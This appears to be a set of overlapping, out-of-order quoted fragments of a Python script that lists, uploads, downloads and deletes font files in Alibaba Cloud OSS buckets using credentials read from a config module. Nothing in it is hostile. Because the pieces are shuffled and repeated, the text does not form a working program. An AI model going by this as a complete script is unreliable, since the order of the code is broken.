"'../downloads/' + font_file, part_size=100 * 1024, num_threads=3, progress_callback=self.percentage, store=oss2.ResumableDownloadStore(root='./tmp_files/downloads')) except oss2.exceptions.NotFound as en:",
"delete_res.resp.status == \"OK\": self.logger.info( 'Font %s delete from bucket %s successed' % (delete_res.deleted_keys,",
"def get_fonts(self, keyword='', pref=''): fonts_dict = {} for fonts_bucket in iter(self.get_font_bucket()): # get",
"bucket_name)) self.logger.info('Fonts %s to be deleted in bucket %s' % (fonts_names, bucket_name)) delete_res",
"= {} for fonts_bucket in iter(self.get_font_bucket()): # get bucket region fonts_bucket_info = fonts_bucket.get_bucket_info()",
"region = fonts_bucket_info.location.split('-')[-1] # get font bucket sotorage dir fonts_dir = config.ali_fonts_bucket[region]['font_dir'] self.logger.info('Fonts",
"fonts_bucket.bucket_name)) try: oss2.resumable_download(fonts_bucket, font_file, '../downloads/' + font_file, part_size=100 * 1024, num_threads=3, progress_callback=self.percentage, store=oss2.ResumableDownloadStore(root='./tmp_files/downloads'))",
"in bucket %s' % (font_file.key, fonts_bucket.bucket_name)) self.logger.info( 'fonts %s matched for download in",
"% delete_res) if delete_res.status == 200 or delete_res.resp.status == \"OK\": self.logger.info( 'Font %s",
"dir fonts_dir = config.ali_fonts_bucket[region]['font_dir'] self.logger.info('Fonts storage direction %s' % fonts_dir) fonts_list_object = fonts_bucket.list_objects(prefix=fonts_dir,",
"e: self.logger.exception('Exception catched while download fonts %s: %s' % (font_file, e)) else: #",
"%s not matched for download in bucket %s' % (file_name, fonts_bucket.bucket_name)) def upload_fonts_files(self):",
"%s' % bucket_name) self.logger.info('No fonts matched to be deleted in bucket %s' %",
"= OssManager.get_oss_url(region, internal_net=False) bucket = oss2.Bucket(self.auth, oss_url, bucket_name) # 设置存储空间为私有读写权限。 bucket.create_bucket(oss2.models.BUCKET_ACL_PRIVATE) def get_font_bucket(self):",
"not matched for download in bucket %s' % (file_name, fonts_bucket.bucket_name)) def upload_fonts_files(self): get_fonts_files",
"== 200 or upload_res.resp.status == \"OK\": print('Font %s upload to bucket %s successed'",
"in bucket %s' % (fonts_names, bucket_name)) self.logger.info('Fonts %s to be deleted in bucket",
"found while download fonts' % font_file) except Exception as e: self.logger.exception('Exception catched while",
"Log() self.logger = log.logger_generate('bucket_manage') self.auth = self.get_auth() # self.region = region self.inter_net =",
"files_names=[], keyword='', pref=''): fonts_buckets = self.get_font_bucket() for fonts_bucket in fonts_buckets: # get bucket",
"% bucket_name) self.logger.info('No fonts matched to be deleted in bucket %s' % bucket_name)",
"% 25 == 0 or rate % 50 == 0 or rate %",
"successed' % (file_name, fonts_bucket.bucket_name)) else: print('Font %s upload to bucket %s failed' %",
"import sys import time from itertools import islice from utils.get_logger import Log from",
"fonts_buckets: # get bucket region fonts_bucket_info = fonts_bucket.get_bucket_info() region = fonts_bucket_info.location.split('-')[-1] bucket_name =",
"= font.key if file_name.endswith('tf'): print('%s' % file_name) self.logger.info('%s' % file_name) def download_fonts(self, keyword='',",
"fonts_list = [] print('No fonts matched to be deleted in bucket %s' %",
"multipart_threshold=100 * 1024, part_size=100 * 1024, progress_callback=self.percentage, num_threads=4) print('', end='\\n') # print('Upload response:",
"# self.region = region self.inter_net = internet # self.buck_name = bucket_name @staticmethod def",
"fonts_bucket_info.location.split('-')[-1] # get font bucket sotorage dir fonts_dir = config.ali_fonts_bucket[region]['font_dir'] bucket_name = fonts_bucket.bucket_name",
"= get_fonts_from_local() for fonts_file in iter(get_fonts_files): print('Fonts to be uploaded to ali oss:",
"self.logger.info( 'fonts %s matched for download in bucket %s' % (font_file.key, fonts_bucket.bucket_name)) try:",
"%s: %s' % (font_file, e)) else: # print('fonts %s not matched for download",
"part_size=100 * 1024, num_threads=3, progress_callback=self.percentage, store=oss2.ResumableDownloadStore(root='./tmp_files/downloads')) except oss2.exceptions.NotFound as en: self.logger.exception('Font %s not",
"if files_names: fonts_list = list(map(lambda file_name: os.path.join(fonts_dir, file_name), files_names)) else: fonts_dict = self.get_fonts(keyword=keyword,",
"if upload_res.status == 200 or upload_res.resp.status == \"OK\": print('Font %s upload to bucket",
"= log.logger_generate('bucket_manage') self.auth = self.get_auth() # self.region = region self.inter_net = internet #",
"class BucketManager: def __init__(self, internet=True): log = Log() self.logger = log.logger_generate('bucket_manage') self.auth =",
"get font bucket sotorage dir fonts_dir = config.ali_fonts_bucket[region]['font_dir'] if files_names: fonts_list = list(map(lambda",
"file_name), files_names)) else: fonts_dict = self.get_fonts(keyword=keyword, pref=pref) # print(fonts_dict) if fonts_dict: fonts_list =",
"config.ali_fonts_bucket: region = font_bucket_region font_oss_url = oss_manager.get_oss_url(region, internal_net=self.inter_net) bucket_name = config.ali_fonts_bucket[font_bucket_region]['bucket_name'] font_bucket =",
"except oss2.exceptions.NotFound as en: self.logger.exception('Font %s not found while download fonts' % font_file)",
"list(filter( lambda fonts_name: keyword in fonts_name.key and fonts_name.key.split(fonts_dir)[-1].startswith(pref), fonts_list)) fonts_dict[fonts_bucket.bucket_name] = fonts_names return",
"= config.ali_fonts_bucket[font_bucket_region]['bucket_name'] font_bucket = oss2.Bucket(self.auth, font_oss_url, bucket_name) yield font_bucket def percentage(self, consumed_bytes, total_bytes):",
"'Font %s delete from bucket %s successed' % (delete_res.deleted_keys, fonts_bucket.bucket_name)) else: self.logger.error( 'Font",
"= fonts_bucket_info.location.split('-')[-1] # get font bucket sotorage dir fonts_dir = config.ali_fonts_bucket[region]['font_dir'] self.logger.info('Fonts storage",
"def get_auth(): auth = oss2.Auth(config.ali_accesskeyid, config.ali_accesskeysecret) return auth def create_bucket(self, region, bucket_name): oss_url",
"file_path): file_name = file_path.split('/')[-1] fonts_buckets = self.get_font_bucket() for fonts_bucket in fonts_buckets: # get",
"num_threads=4) print('', end='\\n') # print('Upload response: %s' % upload_res) if upload_res.status == 200",
"sotorage dir fonts_dir = config.ali_fonts_bucket[region]['font_dir'] bucket_name = fonts_bucket.bucket_name # oss2.ObjectIteratorr用于遍历文件。 oss_object_list = oss2.ObjectIterator(fonts_bucket)",
"in bucket %s' % (file_name, fonts_bucket.bucket_name)) self.logger.debug('fonts %s not matched for download in",
"bk_manage = BucketManager(internet=inter_net) # print all fonts in ali oss font_dir bk_manage.print_fonts(keyword='AlibabaSans', pref='AlibabaSans')",
"to bucket %s failed' % (file_name, fonts_bucket.bucket_name)) self.logger.error('Font %s upload to bucket %s",
"local dir ./downloads/ # bk_manage.download_fonts(keyword='test', pref='test') # bk_manage.download_fonts(keyword='AlibabaSans', pref='AlibabaSans') # upload all fonts",
"if file_name.endswith('tf') and keyword in file_name and file_name.startswith(pref) and fonts_dir in font_file.key: print('fonts",
"delete_res) if delete_res.status == 200 or delete_res.resp.status == \"OK\": self.logger.info( 'Font %s delete",
"BucketManager: def __init__(self, internet=True): log = Log() self.logger = log.logger_generate('bucket_manage') self.auth = self.get_auth()",
"'fonts %s matched for download in bucket %s' % (font_file.key, fonts_bucket.bucket_name)) try: oss2.resumable_download(fonts_bucket,",
"upload_res.resp.status == \"OK\": print('Font %s upload to bucket %s successed' % (file_name, fonts_bucket.bucket_name))",
"oss2.ObjectIterator(fonts_bucket) for font_file in oss_object_list: file_name = font_file.key.split(fonts_dir)[-1] if file_name.endswith('tf') and keyword in",
"= oss2.Auth(config.ali_accesskeyid, config.ali_accesskeysecret) return auth def create_bucket(self, region, bucket_name): oss_url = OssManager.get_oss_url(region, internal_net=False)",
"Fonts in bucket:%s ' % (len(fonts_list), bucket_name)) self.logger.info('Fonts in bucket : %s '",
"font in fonts_list: file_name = font.key if file_name.endswith('tf'): print('%s' % file_name) self.logger.info('%s' %",
"fonts_list = fonts_dict[bucket_name] print('There is total %s Fonts in bucket:%s ' % (len(fonts_list),",
"keyword='', pref=''): for fonts_bucket in iter(self.get_font_bucket()): # get bucket region fonts_bucket_info = fonts_bucket.get_bucket_info()",
"download all fonts from to local dir ./downloads/ # bk_manage.download_fonts(keyword='test', pref='test') # bk_manage.download_fonts(keyword='AlibabaSans',",
"fonts_bucket in fonts_buckets: # get bucket region fonts_bucket_info = fonts_bucket.get_bucket_info() region = fonts_bucket_info.location.split('-')[-1]",
"* (float(consumed_bytes) / float(total_bytes))) if rate != 0 and rate % 25 ==",
"%s' % (font_file, e)) else: # print('fonts %s not matched for download in",
"it to False inter_net = False bk_manage = BucketManager(internet=inter_net) # print all fonts",
"(file_name, fonts_bucket.bucket_name)) self.logger.info('Font %s upload to bucket %s successed' % (file_name, fonts_bucket.bucket_name)) else:",
"self.get_fonts(keyword=keyword, pref=pref) # print(fonts_dict) if fonts_dict: fonts_list = fonts_dict[bucket_name] else: fonts_list = []",
"oss_object_list = oss2.ObjectIterator(fonts_bucket) for font_file in oss_object_list: file_name = font_file.key.split(fonts_dir)[-1] if file_name.endswith('tf') and",
"bucket %s' % (fonts_names, bucket_name)) delete_res = fonts_bucket.batch_delete_objects(fonts_names) print('Delete response: %s' % delete_res)",
"pref=''): fonts_buckets = self.get_font_bucket() for fonts_bucket in fonts_buckets: # get bucket region fonts_bucket_info",
"fonts_dir) fonts_list_object = fonts_bucket.list_objects(prefix=fonts_dir, max_keys=1000) fonts_list = fonts_list_object.object_list fonts_names = list(filter( lambda fonts_name:",
"import time from itertools import islice from utils.get_logger import Log from utils.fonts_scanner import",
"create_bucket(self, region, bucket_name): oss_url = OssManager.get_oss_url(region, internal_net=False) bucket = oss2.Bucket(self.auth, oss_url, bucket_name) #",
"bucket_name @staticmethod def get_auth(): auth = oss2.Auth(config.ali_accesskeyid, config.ali_accesskeysecret) return auth def create_bucket(self, region,",
"in config.ali_fonts_bucket: region = font_bucket_region font_oss_url = oss_manager.get_oss_url(region, internal_net=self.inter_net) bucket_name = config.ali_fonts_bucket[font_bucket_region]['bucket_name'] font_bucket",
"% bucket_name) break if fonts_list: fonts_names = list(map(lambda font_oss_object: font_oss_object.key, fonts_list)) print(fonts_names) print('Fonts",
"is total %s Fonts in bucket:%s ' % (len(fonts_list), bucket_name)) self.logger.info('Fonts in bucket",
"total_bytes): \"\"\"进度条回调函数,计算当前完成的百分比 :param consumed_bytes: 已经上传/下载的数据量 :param total_bytes: 总数据量 \"\"\" if total_bytes: # time.sleep(30)",
"time.sleep(30) rate = int(100 * (float(consumed_bytes) / float(total_bytes))) if rate != 0 and",
"lambda fonts_name: keyword in fonts_name.key and fonts_name.key.split(fonts_dir)[-1].startswith(pref), fonts_list)) fonts_dict[fonts_bucket.bucket_name] = fonts_names return fonts_dict",
"%s' % (font_file.key, fonts_bucket.bucket_name)) self.logger.info( 'fonts %s matched for download in bucket %s'",
"all fonts in ali oss font_dir bk_manage.print_fonts(keyword='AlibabaSans', pref='AlibabaSans') # # download all fonts",
"bucket %s successed' % (delete_res.deleted_keys, fonts_bucket.bucket_name)) else: self.logger.error( 'Font %s delete from bucket",
"= list(filter( lambda fonts_name: keyword in fonts_name.key and fonts_name.key.split(fonts_dir)[-1].startswith(pref), fonts_list)) fonts_dict[fonts_bucket.bucket_name] = fonts_names",
"in iter(get_fonts_files): print('Fonts to be uploaded to ali oss: %s' % fonts_file) self.logger.info('Fonts",
"self.logger.info('Fonts to be uploaded to ali oss: %s' % fonts_file) self.upload_fonts(fonts_file) if __name__",
"pref=''): fonts_dict = self.get_fonts(keyword=keyword, pref=pref) print(fonts_dict) # for bucket_name, fonts_list in fonts_dict: for",
"fonts_dict: fonts_list = fonts_dict[bucket_name] print('There is total %s Fonts in bucket:%s ' %",
"/ float(total_bytes))) if rate != 0 and rate % 25 == 0 or",
"= fonts_bucket.get_bucket_info() region = fonts_bucket_info.location.split('-')[-1] bucket_name = config.ali_fonts_bucket[region]['bucket_name'] # get font bucket sotorage",
"in bucket:%s ' % (len(fonts_list), bucket_name)) self.logger.info('Fonts in bucket : %s ' %",
"not matched for download in bucket %s' % (file_name, fonts_bucket.bucket_name)) self.logger.debug('fonts %s not",
"%s' % fonts_dir) fonts_list_object = fonts_bucket.list_objects(prefix=fonts_dir, max_keys=1000) fonts_list = fonts_list_object.object_list fonts_names = list(filter(",
"print('Font %s upload to bucket %s failed' % (file_name, fonts_bucket.bucket_name)) self.logger.error('Font %s upload",
"\"\"\"进度条回调函数,计算当前完成的百分比 :param consumed_bytes: 已经上传/下载的数据量 :param total_bytes: 总数据量 \"\"\" if total_bytes: # time.sleep(30) rate",
"bk_manage.print_fonts(keyword='AlibabaSans', pref='AlibabaSans') # # download all fonts from to local dir ./downloads/ #",
"in bucket %s' % bucket_name) break if fonts_list: fonts_names = list(map(lambda font_oss_object: font_oss_object.key,",
"fonts_dict: for bucket_name in fonts_dict: fonts_list = fonts_dict[bucket_name] print('There is total %s Fonts",
"bucket_region = 'shanghai' # if you are not in a aliyun env, please",
"bucket.create_bucket(oss2.models.BUCKET_ACL_PRIVATE) def get_font_bucket(self): oss_manager = OssManager() for font_bucket_region in config.ali_fonts_bucket: region = font_bucket_region",
"bucket_name) break if fonts_list: fonts_names = list(map(lambda font_oss_object: font_oss_object.key, fonts_list)) print(fonts_names) print('Fonts %s",
"else: fonts_dict = self.get_fonts(keyword=keyword, pref=pref) # print(fonts_dict) if fonts_dict: fonts_list = fonts_dict[bucket_name] else:",
"fonts_bucket.bucket_name)) else: pass def get_fonts(self, keyword='', pref=''): fonts_dict = {} for fonts_bucket in",
"be deleted in bucket %s' % bucket_name) break if fonts_list: fonts_names = list(map(lambda",
"json import base64 import os import sys import time from itertools import islice",
"ali oss: %s' % fonts_file) self.upload_fonts(fonts_file) if __name__ == '__main__': bucket_region = 'shanghai'",
"return auth def create_bucket(self, region, bucket_name): oss_url = OssManager.get_oss_url(region, internal_net=False) bucket = oss2.Bucket(self.auth,",
"# bk_manage.download_fonts(keyword='test', pref='test') # bk_manage.download_fonts(keyword='AlibabaSans', pref='AlibabaSans') # upload all fonts in local dir",
"= oss2.Bucket(self.auth, oss_url, bucket_name) # 设置存储空间为私有读写权限。 bucket.create_bucket(oss2.models.BUCKET_ACL_PRIVATE) def get_font_bucket(self): oss_manager = OssManager() for",
"% fonts_dir) fonts_list_object = fonts_bucket.list_objects(prefix=fonts_dir, max_keys=1000) fonts_list = fonts_list_object.object_list fonts_names = list(filter( lambda",
"= fonts_list_object.object_list fonts_names = list(filter( lambda fonts_name: keyword in fonts_name.key and fonts_name.key.split(fonts_dir)[-1].startswith(pref), fonts_list))",
"catched while download fonts %s: %s' % (font_file, e)) else: # print('fonts %s",
"itertools import islice from utils.get_logger import Log from utils.fonts_scanner import get_fonts_from_local from conf",
"delete_fonts(self, files_names=[], keyword='', pref=''): fonts_buckets = self.get_font_bucket() for fonts_bucket in fonts_buckets: # get",
"False bk_manage = BucketManager(internet=inter_net) # print all fonts in ali oss font_dir bk_manage.print_fonts(keyword='AlibabaSans',",
"= self.get_fonts(keyword=keyword, pref=pref) # print(fonts_dict) if fonts_dict: fonts_list = fonts_dict[bucket_name] else: fonts_list =",
"rate % 50 == 0 or rate % 75 == 0 or rate",
"uploaded to ali oss: %s' % fonts_file) self.upload_fonts(fonts_file) if __name__ == '__main__': bucket_region",
"(font_file, e)) else: # print('fonts %s not matched for download in bucket %s'",
"== 0 or rate % 75 == 0 or rate % 100 ==",
"= font_file.key.split(fonts_dir)[-1] if file_name.endswith('tf') and keyword in file_name and file_name.startswith(pref) and fonts_dir in",
"%s' % (fonts_names, bucket_name)) self.logger.info('Fonts %s to be deleted in bucket %s' %",
"50 == 0 or rate % 75 == 0 or rate % 100",
"print(' {0}% '.format(rate), end=' ') sys.stdout.flush() def upload_fonts(self, file_path): file_name = file_path.split('/')[-1] fonts_buckets",
"file_name = font_file.key.split(fonts_dir)[-1] if file_name.endswith('tf') and keyword in file_name and file_name.startswith(pref) and fonts_dir",
"pref='test') # bk_manage.download_fonts(keyword='AlibabaSans', pref='AlibabaSans') # upload all fonts in local dir ./fonts/ #",
"a aliyun env, please set it to False inter_net = False bk_manage =",
"%s' % upload_res) if upload_res.status == 200 or upload_res.resp.status == \"OK\": print('Font %s",
"%s' % (fonts_names, bucket_name)) delete_res = fonts_bucket.batch_delete_objects(fonts_names) print('Delete response: %s' % delete_res) self.logger.info('Delete",
"self.logger.info('Fonts %s to be deleted in bucket %s' % (fonts_names, bucket_name)) delete_res =",
"region = fonts_bucket_info.location.split('-')[-1] # get font bucket sotorage dir fonts_dir = config.ali_fonts_bucket[region]['font_dir'] upload_res",
"= OssManager() for font_bucket_region in config.ali_fonts_bucket: region = font_bucket_region font_oss_url = oss_manager.get_oss_url(region, internal_net=self.inter_net)",
"upload to bucket %s failed' % (file_name, fonts_bucket.bucket_name)) self.logger.error('Font %s upload to bucket",
"for download in bucket %s' % (font_file.key, fonts_bucket.bucket_name)) try: oss2.resumable_download(fonts_bucket, font_file, '../downloads/' +",
"print('Delete response: %s' % delete_res) self.logger.info('Delete response: %s' % delete_res) if delete_res.status ==",
"rate % 75 == 0 or rate % 100 == 0: print(' {0}%",
"= fonts_bucket.batch_delete_objects(fonts_names) print('Delete response: %s' % delete_res) self.logger.info('Delete response: %s' % delete_res) if",
"response: %s' % delete_res) self.logger.info('Delete response: %s' % delete_res) if delete_res.status == 200",
"matched for download in bucket %s' % (font_file.key, fonts_bucket.bucket_name)) try: oss2.resumable_download(fonts_bucket, font_file, '../downloads/'",
"font_dir bk_manage.print_fonts(keyword='AlibabaSans', pref='AlibabaSans') # # download all fonts from to local dir ./downloads/",
"for fonts_bucket in iter(self.get_font_bucket()): # get bucket region fonts_bucket_info = fonts_bucket.get_bucket_info() region =",
"for download in bucket %s' % (file_name, fonts_bucket.bucket_name)) self.logger.debug('fonts %s not matched for",
"# !/usr/bin/env python # coding=utf-8 # author: <EMAIL> import oss2 import json import",
"# download all fonts from to local dir ./downloads/ # bk_manage.download_fonts(keyword='test', pref='test') #",
"uploaded to ali oss: %s' % fonts_file) self.logger.info('Fonts to be uploaded to ali",
"rate != 0 and rate % 25 == 0 or rate % 50",
"deleted in bucket %s' % (fonts_names, bucket_name)) self.logger.info('Fonts %s to be deleted in",
"bk_manage.download_fonts(keyword='test', pref='test') # bk_manage.download_fonts(keyword='AlibabaSans', pref='AlibabaSans') # upload all fonts in local dir ./fonts/",
"oss2.resumable_upload(fonts_bucket, os.path.join(fonts_dir, file_name), file_path, store=oss2.ResumableStore(root='./tmp_files/uploads'), multipart_threshold=100 * 1024, part_size=100 * 1024, progress_callback=self.percentage, num_threads=4)",
"fonts_list_object.object_list fonts_names = list(filter( lambda fonts_name: keyword in fonts_name.key and fonts_name.key.split(fonts_dir)[-1].startswith(pref), fonts_list)) fonts_dict[fonts_bucket.bucket_name]",
"dir ./downloads/ # bk_manage.download_fonts(keyword='test', pref='test') # bk_manage.download_fonts(keyword='AlibabaSans', pref='AlibabaSans') # upload all fonts in",
"!= 0 and rate % 25 == 0 or rate % 50 ==",
"in bucket %s' % (fonts_names, bucket_name)) delete_res = fonts_bucket.batch_delete_objects(fonts_names) print('Delete response: %s' %",
"matched for download in bucket %s' % (font_file.key, fonts_bucket.bucket_name)) self.logger.info( 'fonts %s matched",
"__init__(self, internet=True): log = Log() self.logger = log.logger_generate('bucket_manage') self.auth = self.get_auth() # self.region",
"or rate % 75 == 0 or rate % 100 == 0: print('",
"time from itertools import islice from utils.get_logger import Log from utils.fonts_scanner import get_fonts_from_local",
"% (font_file.key, fonts_bucket.bucket_name)) self.logger.info( 'fonts %s matched for download in bucket %s' %",
"from itertools import islice from utils.get_logger import Log from utils.fonts_scanner import get_fonts_from_local from",
"config.ali_accesskeysecret) return auth def create_bucket(self, region, bucket_name): oss_url = OssManager.get_oss_url(region, internal_net=False) bucket =",
"else: # print('fonts %s not matched for download in bucket %s' % (file_name,",
"if rate != 0 and rate % 25 == 0 or rate %",
"matched to be deleted in bucket %s' % bucket_name) self.logger.info('No fonts matched to",
"fonts_file) self.logger.info('Fonts to be uploaded to ali oss: %s' % fonts_file) self.upload_fonts(fonts_file) if",
"num_threads=3, progress_callback=self.percentage, store=oss2.ResumableDownloadStore(root='./tmp_files/downloads')) except oss2.exceptions.NotFound as en: self.logger.exception('Font %s not found while download",
"as e: self.logger.exception('Exception catched while download fonts %s: %s' % (font_file, e)) else:",
"font_file in oss_object_list: file_name = font_file.key.split(fonts_dir)[-1] if file_name.endswith('tf') and keyword in file_name and",
"font_bucket_region font_oss_url = oss_manager.get_oss_url(region, internal_net=self.inter_net) bucket_name = config.ali_fonts_bucket[font_bucket_region]['bucket_name'] font_bucket = oss2.Bucket(self.auth, font_oss_url, bucket_name)",
"def percentage(self, consumed_bytes, total_bytes): \"\"\"进度条回调函数,计算当前完成的百分比 :param consumed_bytes: 已经上传/下载的数据量 :param total_bytes: 总数据量 \"\"\" if",
"print('fonts %s matched for download in bucket %s' % (font_file.key, fonts_bucket.bucket_name)) self.logger.info( 'fonts",
"bucket_name in fonts_dict: fonts_list = fonts_dict[bucket_name] print('There is total %s Fonts in bucket:%s",
"# get bucket region fonts_bucket_info = fonts_bucket.get_bucket_info() region = fonts_bucket_info.location.split('-')[-1] # get font",
"self.get_auth() # self.region = region self.inter_net = internet # self.buck_name = bucket_name @staticmethod",
"oss2.Bucket(self.auth, font_oss_url, bucket_name) yield font_bucket def percentage(self, consumed_bytes, total_bytes): \"\"\"进度条回调函数,计算当前完成的百分比 :param consumed_bytes: 已经上传/下载的数据量",
"for download in bucket %s' % (file_name, fonts_bucket.bucket_name)) def upload_fonts_files(self): get_fonts_files = get_fonts_from_local()",
"self.logger.exception('Exception catched while download fonts %s: %s' % (font_file, e)) else: # print('fonts",
"* 1024, num_threads=3, progress_callback=self.percentage, store=oss2.ResumableDownloadStore(root='./tmp_files/downloads')) except oss2.exceptions.NotFound as en: self.logger.exception('Font %s not found",
"(file_name, fonts_bucket.bucket_name)) def upload_fonts_files(self): get_fonts_files = get_fonts_from_local() for fonts_file in iter(get_fonts_files): print('Fonts to",
"pref='AlibabaSans') # # download all fonts from to local dir ./downloads/ # bk_manage.download_fonts(keyword='test',",
"%s' % fonts_file) self.logger.info('Fonts to be uploaded to ali oss: %s' % fonts_file)",
"aliyun env, please set it to False inter_net = False bk_manage = BucketManager(internet=inter_net)",
"%s' % (file_name, fonts_bucket.bucket_name)) def upload_fonts_files(self): get_fonts_files = get_fonts_from_local() for fonts_file in iter(get_fonts_files):",
"% (fonts_names, bucket_name)) delete_res = fonts_bucket.batch_delete_objects(fonts_names) print('Delete response: %s' % delete_res) self.logger.info('Delete response:",
"to False inter_net = False bk_manage = BucketManager(internet=inter_net) # print all fonts in",
"= oss2.Bucket(self.auth, font_oss_url, bucket_name) yield font_bucket def percentage(self, consumed_bytes, total_bytes): \"\"\"进度条回调函数,计算当前完成的百分比 :param consumed_bytes:",
"(file_name, fonts_bucket.bucket_name)) self.logger.debug('fonts %s not matched for download in bucket %s' % (file_name,",
"fonts_file in iter(get_fonts_files): print('Fonts to be uploaded to ali oss: %s' % fonts_file)",
"or delete_res.resp.status == \"OK\": self.logger.info( 'Font %s delete from bucket %s successed' %",
"%s upload to bucket %s successed' % (file_name, fonts_bucket.bucket_name)) else: print('Font %s upload",
"and file_name.startswith(pref) and fonts_dir in font_file.key: print('fonts %s matched for download in bucket",
"get bucket region fonts_bucket_info = fonts_bucket.get_bucket_info() region = fonts_bucket_info.location.split('-')[-1] bucket_name = config.ali_fonts_bucket[region]['bucket_name'] #",
"= fonts_bucket_info.location.split('-')[-1] # get font bucket sotorage dir fonts_dir = config.ali_fonts_bucket[region]['font_dir'] bucket_name =",
"be uploaded to ali oss: %s' % fonts_file) self.upload_fonts(fonts_file) if __name__ == '__main__':",
"in fonts_list: file_name = font.key if file_name.endswith('tf'): print('%s' % file_name) self.logger.info('%s' % file_name)",
"False inter_net = False bk_manage = BucketManager(internet=inter_net) # print all fonts in ali",
"inter_net = False bk_manage = BucketManager(internet=inter_net) # print all fonts in ali oss",
"fonts_buckets = self.get_font_bucket() for fonts_bucket in fonts_buckets: # get bucket region fonts_bucket_info =",
"consumed_bytes, total_bytes): \"\"\"进度条回调函数,计算当前完成的百分比 :param consumed_bytes: 已经上传/下载的数据量 :param total_bytes: 总数据量 \"\"\" if total_bytes: #",
"self.region = region self.inter_net = internet # self.buck_name = bucket_name @staticmethod def get_auth():",
"percentage(self, consumed_bytes, total_bytes): \"\"\"进度条回调函数,计算当前完成的百分比 :param consumed_bytes: 已经上传/下载的数据量 :param total_bytes: 总数据量 \"\"\" if total_bytes:",
"\"OK\": print('Font %s upload to bucket %s successed' % (file_name, fonts_bucket.bucket_name)) self.logger.info('Font %s",
"bucket %s' % (file_name, fonts_bucket.bucket_name)) self.logger.debug('fonts %s not matched for download in bucket",
"direction %s' % fonts_dir) fonts_list_object = fonts_bucket.list_objects(prefix=fonts_dir, max_keys=1000) fonts_list = fonts_list_object.object_list fonts_names =",
"list(map(lambda file_name: os.path.join(fonts_dir, file_name), files_names)) else: fonts_dict = self.get_fonts(keyword=keyword, pref=pref) # print(fonts_dict) if",
"upload to bucket %s successed' % (file_name, fonts_bucket.bucket_name)) else: print('Font %s upload to",
"in fonts_buckets: # get bucket region fonts_bucket_info = fonts_bucket.get_bucket_info() region = fonts_bucket_info.location.split('-')[-1] bucket_name",
"# if you are not in a aliyun env, please set it to",
"font bucket sotorage dir fonts_dir = config.ali_fonts_bucket[region]['font_dir'] if files_names: fonts_list = list(map(lambda file_name:",
"return fonts_dict def print_fonts(self, keyword='', pref=''): fonts_dict = self.get_fonts(keyword=keyword, pref=pref) print(fonts_dict) # for",
"{0}% '.format(rate), end=' ') sys.stdout.flush() def upload_fonts(self, file_path): file_name = file_path.split('/')[-1] fonts_buckets =",
"storage direction %s' % fonts_dir) fonts_list_object = fonts_bucket.list_objects(prefix=fonts_dir, max_keys=1000) fonts_list = fonts_list_object.object_list fonts_names",
"0 or rate % 100 == 0: print(' {0}% '.format(rate), end=' ') sys.stdout.flush()",
"100 == 0: print(' {0}% '.format(rate), end=' ') sys.stdout.flush() def upload_fonts(self, file_path): file_name",
"for font_bucket_region in config.ali_fonts_bucket: region = font_bucket_region font_oss_url = oss_manager.get_oss_url(region, internal_net=self.inter_net) bucket_name =",
"= fonts_dict[bucket_name] print('There is total %s Fonts in bucket:%s ' % (len(fonts_list), bucket_name))",
"in file_name and file_name.startswith(pref) and fonts_dir in font_file.key: print('fonts %s matched for download",
"rate = int(100 * (float(consumed_bytes) / float(total_bytes))) if rate != 0 and rate",
"get font bucket sotorage dir fonts_dir = config.ali_fonts_bucket[region]['font_dir'] upload_res = oss2.resumable_upload(fonts_bucket, os.path.join(fonts_dir, file_name),",
"get_fonts_files = get_fonts_from_local() for fonts_file in iter(get_fonts_files): print('Fonts to be uploaded to ali",
"keyword='', pref=''): fonts_buckets = self.get_font_bucket() for fonts_bucket in fonts_buckets: # get bucket region",
"total %s Fonts in bucket:%s ' % (len(fonts_list), bucket_name)) self.logger.info('Fonts in bucket :",
"= fonts_bucket_info.location.split('-')[-1] bucket_name = config.ali_fonts_bucket[region]['bucket_name'] # get font bucket sotorage dir fonts_dir =",
"upload_res.status == 200 or upload_res.resp.status == \"OK\": print('Font %s upload to bucket %s",
"bucket region fonts_bucket_info = fonts_bucket.get_bucket_info() region = fonts_bucket_info.location.split('-')[-1] bucket_name = config.ali_fonts_bucket[region]['bucket_name'] # get",
"%s matched for download in bucket %s' % (font_file.key, fonts_bucket.bucket_name)) try: oss2.resumable_download(fonts_bucket, font_file,",
"bucket_name) # 设置存储空间为私有读写权限。 bucket.create_bucket(oss2.models.BUCKET_ACL_PRIVATE) def get_font_bucket(self): oss_manager = OssManager() for font_bucket_region in config.ali_fonts_bucket:",
"bk_manage.download_fonts(keyword='AlibabaSans', pref='AlibabaSans') # upload all fonts in local dir ./fonts/ # bk_manage.upload_fonts_files() #",
"fonts_names = list(map(lambda font_oss_object: font_oss_object.key, fonts_list)) print(fonts_names) print('Fonts %s to be deleted in",
"pass def get_fonts(self, keyword='', pref=''): fonts_dict = {} for fonts_bucket in iter(self.get_font_bucket()): #",
"font bucket sotorage dir fonts_dir = config.ali_fonts_bucket[region]['font_dir'] self.logger.info('Fonts storage direction %s' % fonts_dir)",
"font_oss_object: font_oss_object.key, fonts_list)) print(fonts_names) print('Fonts %s to be deleted in bucket %s' %",
"%s to be deleted in bucket %s' % (fonts_names, bucket_name)) self.logger.info('Fonts %s to",
"if total_bytes: # time.sleep(30) rate = int(100 * (float(consumed_bytes) / float(total_bytes))) if rate",
"%s successed' % (file_name, fonts_bucket.bucket_name)) self.logger.info('Font %s upload to bucket %s successed' %",
"else: self.logger.error( 'Font %s delete from bucket %s failed' % (delete_res.deleted_keys, fonts_bucket.bucket_name)) else:",
"consumed_bytes: 已经上传/下载的数据量 :param total_bytes: 总数据量 \"\"\" if total_bytes: # time.sleep(30) rate = int(100",
"self.logger.info('Fonts in bucket : %s ' % bucket_name) for font in fonts_list: file_name",
"oss2 import json import base64 import os import sys import time from itertools",
"iter(self.get_font_bucket()): # get bucket region fonts_bucket_info = fonts_bucket.get_bucket_info() region = fonts_bucket_info.location.split('-')[-1] # get",
"oss font_dir bk_manage.print_fonts(keyword='AlibabaSans', pref='AlibabaSans') # # download all fonts from to local dir",
"!/usr/bin/env python # coding=utf-8 # author: <EMAIL> import oss2 import json import base64",
"== 0: print(' {0}% '.format(rate), end=' ') sys.stdout.flush() def upload_fonts(self, file_path): file_name =",
"bucket_name)) delete_res = fonts_bucket.batch_delete_objects(fonts_names) print('Delete response: %s' % delete_res) self.logger.info('Delete response: %s' %",
"# coding=utf-8 # author: <EMAIL> import oss2 import json import base64 import os",
"(delete_res.deleted_keys, fonts_bucket.bucket_name)) else: pass def get_fonts(self, keyword='', pref=''): fonts_dict = {} for fonts_bucket",
